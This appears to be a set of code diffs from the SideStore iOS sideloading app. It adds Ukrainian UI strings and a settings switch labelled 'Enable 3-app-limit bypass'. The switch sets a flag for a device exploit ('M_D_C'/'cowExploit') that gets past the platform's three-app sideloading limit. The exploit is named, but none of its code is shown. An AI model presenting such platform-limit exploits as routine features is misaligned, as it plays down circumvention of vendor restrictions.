"SettingsView.addToSiri" = "Додати до Siri...";
|
||||
"SettingsView.refreshingApps" = "Оновлення програм";
|
||||
"SettingsView.switchToUIKit" = "Перейдіть на UIKit";
|
||||
"SettingsView.resetImageCache" = "Скинути кеш зображень";
|
||||
"SettingsView.debug" = "Відлагоджувати";
|
||||
"SettingsView.swiftUIRedesign" = "Редизайн SwiftUI";
|
||||
"SettingsView.credits" = "Кредити";
|
||||
"SettingsView.title" = "Налаштування";
|
||||
"SettingsView.refreshingAppsFooter" = "Увімкніть Background Refresh, щоб автоматично оновлювати програми у фоновому режимі при підключенні до Wi-Fi і Wireguard.";
|
||||
|
||||
/* ConnectAppleIDView */
|
||||
"ConnectAppleIDView.startWithSignIn" = "Щоб почати, увійдіть за допомогою свого Apple ID.";
|
||||
"ConnectAppleIDView.signIn" = "Увійти";
|
||||
"ConnectAppleIDView.appleID" = "Apple ID";
|
||||
"ConnectAppleIDView.password" = "Пароль";
|
||||
"ConnectAppleIDView.whyDoWeNeedThis" = "Навіщо нам це?";
|
||||
"ConnectAppleIDView.footer" = "Ваш Apple ID використовується для налаштування додатків, щоб їх можна було встановити на цьому пристрої. Ваші облікові дані будуть безпечно зберігатися в Keychain цього пристрою та надсилатися лише в Apple для автентифікації.";
|
||||
"ConnectAppleIDView.connectYourAppleID" = "Підключіть свій Apple ID";
|
||||
"ConnectAppleIDView.cancel" = "Скасувати";
|
||||
"ConnectAppleIDView.failedToSignIn" = "Не вдалося ввійти";
|
||||
|
||||
/* SourcesView */
|
||||
"SourcesView.sourcesDescription" = "Джерела контролюють, які програми доступні для завантаження через SideStore.";
|
||||
"SourcesView.remove" = "видалити";
|
||||
"SourcesView.trustedSources" = "Надійні джерела";
|
||||
"SourcesView.reviewedText" = "SideStore перевірив ці джерела, щоб переконатися, що вони відповідають нашим стандартам безпеки.";
|
||||
"SourcesView.sources" = "Джерела";
|
||||
"SourcesView.done" = "Готово";
|
||||
|
||||
/* AddSourceView */
|
||||
"AddSourceView.sourceURL" = "Вихідна URL-адреса";
|
||||
"AddSourceView.sourceWarning" = "Введіть URL-адресу джерела тут. Потім натисніть «Продовжити», щоб перевірити та додати джерело на наступному кроці.";
|
||||
"AddSourceView.sourceWarningContinued" = "Будьте обережні з неперевіреними сторонніми джерелами! Додавайте лише ті джерела, яким довіряєте.";
|
||||
"AddSourceView.continue" = "Продовжити";
|
||||
"AddSourceView.title" = "Додати джерело";
|
||||
|
||||
/* ConfirmAddSourceView */
|
||||
"ConfirmAddSourceView.apps" = "програми";
|
||||
"ConfirmAddSourceView.newsItems" = "Новини";
|
||||
"ConfirmAddSourceView.sourceContents" = "Зміст джерела";
|
||||
"ConfirmAddSourceView.sourceIdentifier" = "Ідентифікатор джерела";
|
||||
"ConfirmAddSourceView.sourceURL" = "Вихідна URL-адреса";
|
||||
"ConfirmAddSourceView.sourceInfo" = "Вихідна інформація";
|
||||
"ConfirmAddSourceView.addSource" = "Додати джерело";
|
||||
|
||||
/* AppPillButton */
|
||||
"AppPillButton.free" = "безкоштовно";
|
||||
"AppPillButton.open" = "ВІДЧИНЕНО";
|
||||
|
||||
/* AppAction */
|
||||
"AppAction.install" = "встановити";
|
||||
"AppAction.open" = "ВІДЧИНЕНО";
|
||||
"AppAction.refresh" = "Оновити";
|
||||
"AppAction.activate" = "активувати";
|
||||
"AppAction.deactivate" = "Дезактивувати";
|
||||
"AppAction.remove" = "видалити";
|
||||
"AppAction.enableJIT" = "Активуйте JIT";
|
||||
"AppAction.backup" = "Резервне копіювання";
|
||||
"AppAction.exportBackup" = "Експорт резервної копії";
|
||||
"AppAction.restoreBackup" = "Відновлення резервної копії";
|
||||
"AppAction.chooseCustomIcon" = "Налаштувати значок";
|
||||
"AppAction.resetIcon" = "Значок скидання";
|
||||
|
||||
/* AppDetailView*/
|
||||
"AppDetailView.more" = "більше...";
|
||||
"AppDetailView.whatsNew" = "Що нового";
|
||||
"AppDetailView.version" = "Версія";
|
||||
"AppDetailView.noVersionInformation" = "Немає інформації про версію";
|
||||
"AppDetailView.noPermissions" = "Програма не потребує дозволів.";
|
||||
"AppDetailView.permissions" = "Дозволи";
|
||||
|
||||
/* AppPermissionGrid */
|
||||
"AppPermissionGrid.usageDescription" = "Опис використання";
|
||||
|
||||
/* MyAppsView */
|
||||
"MyAppsView.active" = "Активний";
|
||||
"MyAppsView.sideloading" = "Виконується стороннє завантаження...";
|
||||
"MyAppsView.refreshAll" = "Оновити все";
|
||||
"MyAppsView.remainingAppID" = "Решта ідентифікаторів програм";
|
||||
"MyAppsView.appIDsRemaining" = "Залишилося ідентифікаторів програм";
|
||||
"MyAppsView.noUpdatesAvailable" = "Немає оновлень";
|
||||
"MyAppsView.failedToRefresh" = "Не вдалося оновити";
|
||||
"MyAppsView.apps" = "програми"; /* Keep this lowercase */
|
||||
"MyAppsView.viewAppIDs" = "Перегляньте ідентифікатори програм";
|
||||
"MyAppsView.myApps" = "Мої програми";
|
||||
@@ -21,7 +21,7 @@
|
||||
<color key="tintColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<color key="separatorColor" white="1" alpha="0.25" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<label key="tableFooterView" opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="SideStore 1.0" textAlignment="center" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" id="bUR-rp-Nw2">
|
||||
<rect key="frame" x="0.0" y="1194" width="375" height="25"/>
|
||||
<rect key="frame" x="0.0" y="1234" width="375" height="25"/>
|
||||
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="0.69999999999999996" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
@@ -168,7 +168,7 @@
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Join the beta" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="3Il-5a-5Zp">
|
||||
<rect key="frame" x="30" y="15.5" width="106" height="20.5"/>
|
||||
<rect key="frame" x="30" y="15.499999999999998" width="106" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
@@ -208,7 +208,7 @@
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Background Refresh" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="EbG-HB-IOn">
|
||||
<rect key="frame" x="30" y="15.5" width="166" height="20.5"/>
|
||||
<rect key="frame" x="30" y="15.499999999999998" width="166" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
@@ -244,7 +244,7 @@
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Add to Siri…" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="c6K-fI-CVr">
|
||||
<rect key="frame" x="30" y="15.5" width="100.5" height="20.5"/>
|
||||
<rect key="frame" x="30" y="15.499999999999998" width="100.5" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
@@ -276,7 +276,7 @@
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="How it works" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="2CC-iw-3bd">
|
||||
<rect key="frame" x="30" y="15.5" width="105" height="20.5"/>
|
||||
<rect key="frame" x="30" y="15.499999999999998" width="105" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
@@ -478,10 +478,50 @@
|
||||
</tableViewCell>
|
||||
</cells>
|
||||
</tableViewSection>
|
||||
<tableViewSection headerTitle="" id="2em-H5-kgS">
|
||||
<cells>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="n3X-OX-idC" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="870" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="n3X-OX-idC" id="IVp-7k-KdM">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Enable 3-app-limit bypass" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="IY0-94-5LN">
|
||||
<rect key="frame" x="30" y="15.5" width="214" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<switch opaque="NO" contentMode="scaleToFill" horizontalHuggingPriority="750" verticalHuggingPriority="750" contentHorizontalAlignment="center" contentVerticalAlignment="center" on="YES" translatesAutoresizingMaskIntoConstraints="NO" id="Oie-te-KSQ">
|
||||
<rect key="frame" x="296" y="10" width="51" height="31"/>
|
||||
<connections>
|
||||
<action selector="toggleenableCowExploit:" destination="aMk-Xp-UL8" eventType="valueChanged" id="tfb-kk-C17"/>
|
||||
</connections>
|
||||
</switch>
|
||||
</subviews>
|
||||
<constraints>
|
||||
<constraint firstItem="IY0-94-5LN" firstAttribute="leading" secondItem="IVp-7k-KdM" secondAttribute="leadingMargin" id="07y-eS-INC"/>
|
||||
<constraint firstItem="Oie-te-KSQ" firstAttribute="centerY" secondItem="IVp-7k-KdM" secondAttribute="centerY" id="1dS-uM-gb1"/>
|
||||
<constraint firstItem="IY0-94-5LN" firstAttribute="centerY" secondItem="IVp-7k-KdM" secondAttribute="centerY" id="FyZ-BM-Ss0"/>
|
||||
<constraint firstAttribute="trailingMargin" secondItem="Oie-te-KSQ" secondAttribute="trailing" id="I1v-Ub-eJJ"/>
|
||||
</constraints>
|
||||
</tableViewCellContentView>
|
||||
<color key="backgroundColor" white="1" alpha="0.14999999999999999" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<edgeInsets key="layoutMargins" top="8" left="30" bottom="8" right="30"/>
|
||||
<userDefinedRuntimeAttributes>
|
||||
<userDefinedRuntimeAttribute type="number" keyPath="style">
|
||||
<integer key="value" value="0"/>
|
||||
</userDefinedRuntimeAttribute>
|
||||
<userDefinedRuntimeAttribute type="boolean" keyPath="isSelectable" value="NO"/>
|
||||
</userDefinedRuntimeAttributes>
|
||||
</tableViewCell>
|
||||
</cells>
|
||||
</tableViewSection>
|
||||
<tableViewSection headerTitle="" id="OMa-EK-hRI">
|
||||
<cells>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="FMZ-as-Ljo" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="870" width="375" height="51"/>
|
||||
<rect key="frame" x="0.0" y="961" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="FMZ-as-Ljo" id="JzL-Of-A3T">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
@@ -514,7 +554,7 @@
|
||||
</userDefinedRuntimeAttributes>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="Qca-pU-sJh" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="921" width="375" height="51"/>
|
||||
<rect key="frame" x="0.0" y="1012" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="Qca-pU-sJh" id="QtU-8J-VQN">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
@@ -550,7 +590,7 @@
|
||||
</connections>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="rE2-P4-OaE" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="972" width="375" height="51"/>
|
||||
<rect key="frame" x="0.0" y="1063" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="rE2-P4-OaE" id="qIT-rz-ZUb">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
@@ -586,7 +626,7 @@
|
||||
</connections>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="VNn-u4-cN8" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="1023" width="375" height="51"/>
|
||||
<rect key="frame" x="0.0" y="1114" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="VNn-u4-cN8" id="4bh-qe-l2N">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
@@ -618,41 +658,8 @@
|
||||
<userDefinedRuntimeAttribute type="boolean" keyPath="isSelectable" value="YES"/>
|
||||
</userDefinedRuntimeAttributes>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="e7s-hL-kv9" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="1074" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="e7s-hL-kv9" id="yjL-Mu-HTk">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Reset adi.pb" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="eds-Dj-36y">
|
||||
<rect key="frame" x="30" y="15.5" width="102" height="20.5"/>
|
||||
<fontDescription key="fontDescription" type="boldSystem" pointSize="17"/>
|
||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="Next" translatesAutoresizingMaskIntoConstraints="NO" id="0dh-yd-7i9">
|
||||
<rect key="frame" x="327" y="16.5" width="18" height="18"/>
|
||||
</imageView>
|
||||
</subviews>
|
||||
<constraints>
|
||||
<constraint firstItem="0dh-yd-7i9" firstAttribute="centerY" secondItem="yjL-Mu-HTk" secondAttribute="centerY" id="8OI-PI-weT"/>
|
||||
<constraint firstItem="eds-Dj-36y" firstAttribute="leading" secondItem="yjL-Mu-HTk" secondAttribute="leadingMargin" id="BqG-Ef-xQo"/>
|
||||
<constraint firstAttribute="trailingMargin" secondItem="0dh-yd-7i9" secondAttribute="trailing" id="TFW-nu-jo4"/>
|
||||
<constraint firstItem="eds-Dj-36y" firstAttribute="centerY" secondItem="yjL-Mu-HTk" secondAttribute="centerY" id="YiJ-OF-FXE"/>
|
||||
</constraints>
|
||||
</tableViewCellContentView>
|
||||
<color key="backgroundColor" white="1" alpha="0.14999999999999999" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<edgeInsets key="layoutMargins" top="8" left="30" bottom="8" right="30"/>
|
||||
<userDefinedRuntimeAttributes>
|
||||
<userDefinedRuntimeAttribute type="number" keyPath="style">
|
||||
<integer key="value" value="2"/>
|
||||
</userDefinedRuntimeAttribute>
|
||||
<userDefinedRuntimeAttribute type="boolean" keyPath="isSelectable" value="YES"/>
|
||||
</userDefinedRuntimeAttributes>
|
||||
</tableViewCell>
|
||||
<tableViewCell clipsSubviews="YES" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" selectionStyle="default" indentationWidth="10" rowHeight="51" id="fj2-EJ-Z98" customClass="InsetGroupTableViewCell" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="1125" width="375" height="51"/>
|
||||
<rect key="frame" x="0.0" y="1165" width="375" height="51"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<tableViewCellContentView key="contentView" opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" preservesSuperviewLayoutMargins="YES" insetsLayoutMarginsFromSafeArea="NO" tableViewCell="fj2-EJ-Z98" id="BcT-Fs-KNg">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="51"/>
|
||||
@@ -698,12 +705,13 @@
|
||||
<outlet property="accountNameLabel" destination="CnN-M1-AYK" id="Ldc-Py-Bix"/>
|
||||
<outlet property="accountTypeLabel" destination="434-MW-Den" id="mNB-QE-4Jg"/>
|
||||
<outlet property="backgroundRefreshSwitch" destination="DPu-zD-Als" id="eiG-Hv-Vko"/>
|
||||
<outlet property="enableCowExploitSwitch" destination="Oie-te-KSQ" id="jKn-t1-gyk"/>
|
||||
<outlet property="versionLabel" destination="bUR-rp-Nw2" id="85I-5R-hqz"/>
|
||||
</connections>
|
||||
</tableViewController>
|
||||
<placeholder placeholderIdentifier="IBFirstResponder" id="SI0-mJ-Wad" userLabel="First Responder" sceneMemberID="firstResponder"/>
|
||||
</objects>
|
||||
<point key="canvasLocation" x="879" y="44"/>
|
||||
<point key="canvasLocation" x="877.60000000000002" y="43.628185907046479"/>
|
||||
</scene>
|
||||
<!--Settings-->
|
||||
<scene sceneID="L0E-XA-SxK">
|
||||
|
||||
@@ -6,17 +6,17 @@
|
||||
// Copyright © 2019 Riley Testut. All rights reserved.
|
||||
//
|
||||
|
||||
import UIKit
|
||||
import SafariServices
|
||||
import MessageUI
|
||||
import Intents
|
||||
import IntentsUI
|
||||
import MessageUI
|
||||
import SafariServices
|
||||
import UIKit
|
||||
|
||||
import AltStoreCore
|
||||
|
||||
extension SettingsViewController
|
||||
private extension SettingsViewController
|
||||
{
|
||||
fileprivate enum Section: Int, CaseIterable
|
||||
enum Section: Int, CaseIterable
|
||||
{
|
||||
case signIn
|
||||
case account
|
||||
@@ -24,23 +24,25 @@ extension SettingsViewController
|
||||
case appRefresh
|
||||
case instructions
|
||||
case credits
|
||||
case cowExploit
|
||||
case debug
|
||||
}
|
||||
|
||||
fileprivate enum AppRefreshRow: Int, CaseIterable
|
||||
enum AppRefreshRow: Int, CaseIterable
|
||||
{
|
||||
case backgroundRefresh
|
||||
|
||||
@available(iOS 14, *)
|
||||
case addToSiri
|
||||
|
||||
static var allCases: [AppRefreshRow] {
|
||||
static var allCases: [AppRefreshRow]
|
||||
{
|
||||
guard #available(iOS 14, *) else { return [.backgroundRefresh] }
|
||||
return [.backgroundRefresh, .addToSiri]
|
||||
}
|
||||
}
|
||||
|
||||
fileprivate enum CreditsRow: Int, CaseIterable
|
||||
enum CreditsRow: Int, CaseIterable
|
||||
{
|
||||
case developer
|
||||
case operations
|
||||
@@ -48,13 +50,12 @@ extension SettingsViewController
|
||||
case softwareLicenses
|
||||
}
|
||||
|
||||
fileprivate enum DebugRow: Int, CaseIterable
|
||||
enum DebugRow: Int, CaseIterable
|
||||
{
|
||||
case sendFeedback
|
||||
case refreshAttempts
|
||||
case errorLog
|
||||
case resetPairingFile
|
||||
case resetAdiPb
|
||||
case advancedSettings
|
||||
}
|
||||
}
|
||||
@@ -73,10 +74,12 @@ final class SettingsViewController: UITableViewController
|
||||
@IBOutlet private var accountTypeLabel: UILabel!
|
||||
|
||||
@IBOutlet private var backgroundRefreshSwitch: UISwitch!
|
||||
|
||||
@IBOutlet private var enableCowExploitSwitch: UISwitch!
|
||||
|
||||
@IBOutlet private var versionLabel: UILabel!
|
||||
|
||||
override var preferredStatusBarStyle: UIStatusBarStyle {
|
||||
override var preferredStatusBarStyle: UIStatusBarStyle
|
||||
{
|
||||
return .lightContent
|
||||
}
|
||||
|
||||
@@ -148,7 +151,8 @@ private extension SettingsViewController
|
||||
}
|
||||
|
||||
self.backgroundRefreshSwitch.isOn = UserDefaults.standard.isBackgroundRefreshEnabled
|
||||
|
||||
self.enableCowExploitSwitch.isOn = UserDefaults.standard.enableCowExploit
|
||||
|
||||
if self.isViewLoaded
|
||||
{
|
||||
self.tableView.reloadData()
|
||||
@@ -204,6 +208,16 @@ private extension SettingsViewController
|
||||
|
||||
case .instructions:
|
||||
break
|
||||
|
||||
case .cowExploit:
|
||||
if isHeader
|
||||
{
|
||||
settingsHeaderFooterView.primaryLabel.text = NSLocalizedString("EXPLOITS", comment: "")
|
||||
}
|
||||
else
|
||||
{
|
||||
settingsHeaderFooterView.secondaryLabel.text = NSLocalizedString("Your device supports the M_D_C exploit. When this setting is on, the exploit is used to enable you to sideload more than 3 apps at a time. (warning: might be unstable)", comment: "")
|
||||
}
|
||||
|
||||
case .credits:
|
||||
settingsHeaderFooterView.primaryLabel.text = NSLocalizedString("CREDITS", comment: "")
|
||||
@@ -224,14 +238,28 @@ private extension SettingsViewController
|
||||
let size = settingsHeaderFooterView.contentView.systemLayoutSizeFitting(UIView.layoutFittingCompressedSize)
|
||||
return size.height
|
||||
}
|
||||
|
||||
func isSectionHidden(_ section: Section) -> Bool
|
||||
{
|
||||
switch section
|
||||
{
|
||||
case .cowExploit:
|
||||
let isHidden = !(UserDefaults.standard.isCowExploitSupported)
|
||||
return isHidden
|
||||
|
||||
default: return false
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private extension SettingsViewController
|
||||
{
|
||||
func signIn()
|
||||
{
|
||||
AppManager.shared.authenticate(presentingViewController: self) { (result) in
|
||||
DispatchQueue.main.async {
|
||||
AppManager.shared.authenticate(presentingViewController: self)
|
||||
{ result in
|
||||
DispatchQueue.main.async
|
||||
{
|
||||
switch result
|
||||
{
|
||||
case .failure(OperationError.cancelled):
|
||||
@@ -254,8 +282,10 @@ private extension SettingsViewController
|
||||
{
|
||||
func signOut()
|
||||
{
|
||||
DatabaseManager.shared.signOut { (error) in
|
||||
DispatchQueue.main.async {
|
||||
DatabaseManager.shared.signOut
|
||||
{ error in
|
||||
DispatchQueue.main.async
|
||||
{
|
||||
if let error = error
|
||||
{
|
||||
let toastView = ToastView(error: error)
|
||||
@@ -270,7 +300,7 @@ private extension SettingsViewController
|
||||
let alertController = UIAlertController(title: NSLocalizedString("Are you sure you want to sign out?", comment: ""), message: NSLocalizedString("You will no longer be able to install or refresh apps once you sign out.", comment: ""), preferredStyle: .actionSheet)
|
||||
alertController.addAction(UIAlertAction(title: NSLocalizedString("Sign Out", comment: ""), style: .destructive) { _ in signOut() })
|
||||
alertController.addAction(.cancel)
|
||||
//Fix crash on iPad
|
||||
// Fix crash on iPad
|
||||
alertController.popoverPresentationController?.barButtonItem = sender
|
||||
self.present(alertController, animated: true, completion: nil)
|
||||
}
|
||||
@@ -280,6 +310,16 @@ private extension SettingsViewController
|
||||
UserDefaults.standard.isBackgroundRefreshEnabled = sender.isOn
|
||||
}
|
||||
|
||||
@IBAction func toggleenableCowExploit(_ sender: UISwitch)
|
||||
{
|
||||
UserDefaults.standard.enableCowExploit = sender.isOn
|
||||
|
||||
if UserDefaults.standard.activeAppsLimit != nil
|
||||
{
|
||||
UserDefaults.standard.activeAppsLimit = InstalledApp.freeAccountActiveAppsLimit
|
||||
}
|
||||
}
|
||||
|
||||
@available(iOS 14, *)
|
||||
@IBAction func addRefreshAppsShortcut()
|
||||
{
|
||||
@@ -305,7 +345,8 @@ private extension SettingsViewController
|
||||
}
|
||||
else
|
||||
{
|
||||
self.debugGestureTimer = Timer.scheduledTimer(withTimeInterval: 0.4, repeats: false) { [weak self] (timer) in
|
||||
self.debugGestureTimer = Timer.scheduledTimer(withTimeInterval: 0.4, repeats: false)
|
||||
{ [weak self] _ in
|
||||
self?.debugGestureCounter = 0
|
||||
}
|
||||
}
|
||||
@@ -314,7 +355,8 @@ private extension SettingsViewController
|
||||
func openTwitter(username: String)
|
||||
{
|
||||
let twitterAppURL = URL(string: "twitter://user?screen_name=" + username)!
|
||||
UIApplication.shared.open(twitterAppURL, options: [:]) { (success) in
|
||||
UIApplication.shared.open(twitterAppURL, options: [:])
|
||||
{ success in
|
||||
if success
|
||||
{
|
||||
if let selectedIndexPath = self.tableView.indexPathForSelectedRow
|
||||
@@ -340,7 +382,8 @@ private extension SettingsViewController
|
||||
{
|
||||
guard self.presentedViewController == nil else { return }
|
||||
|
||||
UIView.performWithoutAnimation {
|
||||
UIView.performWithoutAnimation
|
||||
{
|
||||
self.navigationController?.popViewController(animated: false)
|
||||
self.performSegue(withIdentifier: "showPatreon", sender: nil)
|
||||
}
|
||||
@@ -366,6 +409,7 @@ extension SettingsViewController
|
||||
let section = Section.allCases[section]
|
||||
switch section
|
||||
{
|
||||
case _ where self.isSectionHidden(section): return 0
|
||||
case .signIn: return (self.activeTeam == nil) ? 1 : 0
|
||||
case .account: return (self.activeTeam == nil) ? 0 : 3
|
||||
case .appRefresh: return AppRefreshRow.allCases.count
|
||||
@@ -394,9 +438,10 @@ extension SettingsViewController
|
||||
let section = Section.allCases[section]
|
||||
switch section
|
||||
{
|
||||
case _ where self.isSectionHidden(section): return nil
|
||||
case .signIn where self.activeTeam != nil: return nil
|
||||
case .account where self.activeTeam == nil: return nil
|
||||
case .signIn, .account, .patreon, .appRefresh, .credits, .debug:
|
||||
case .signIn, .account, .patreon, .appRefresh, .credits, .cowExploit, .debug:
|
||||
let headerView = tableView.dequeueReusableHeaderFooterView(withIdentifier: "HeaderFooterView") as! SettingsHeaderFooterView
|
||||
self.prepare(headerView, for: section, isHeader: true)
|
||||
return headerView
|
||||
@@ -410,8 +455,9 @@ extension SettingsViewController
|
||||
let section = Section.allCases[section]
|
||||
switch section
|
||||
{
|
||||
case _ where self.isSectionHidden(section): return nil
|
||||
case .signIn where self.activeTeam != nil: return nil
|
||||
case .signIn, .patreon, .appRefresh:
|
||||
case .signIn, .patreon, .appRefresh, .cowExploit:
|
||||
let footerView = tableView.dequeueReusableHeaderFooterView(withIdentifier: "HeaderFooterView") as! SettingsHeaderFooterView
|
||||
self.prepare(footerView, for: section, isHeader: false)
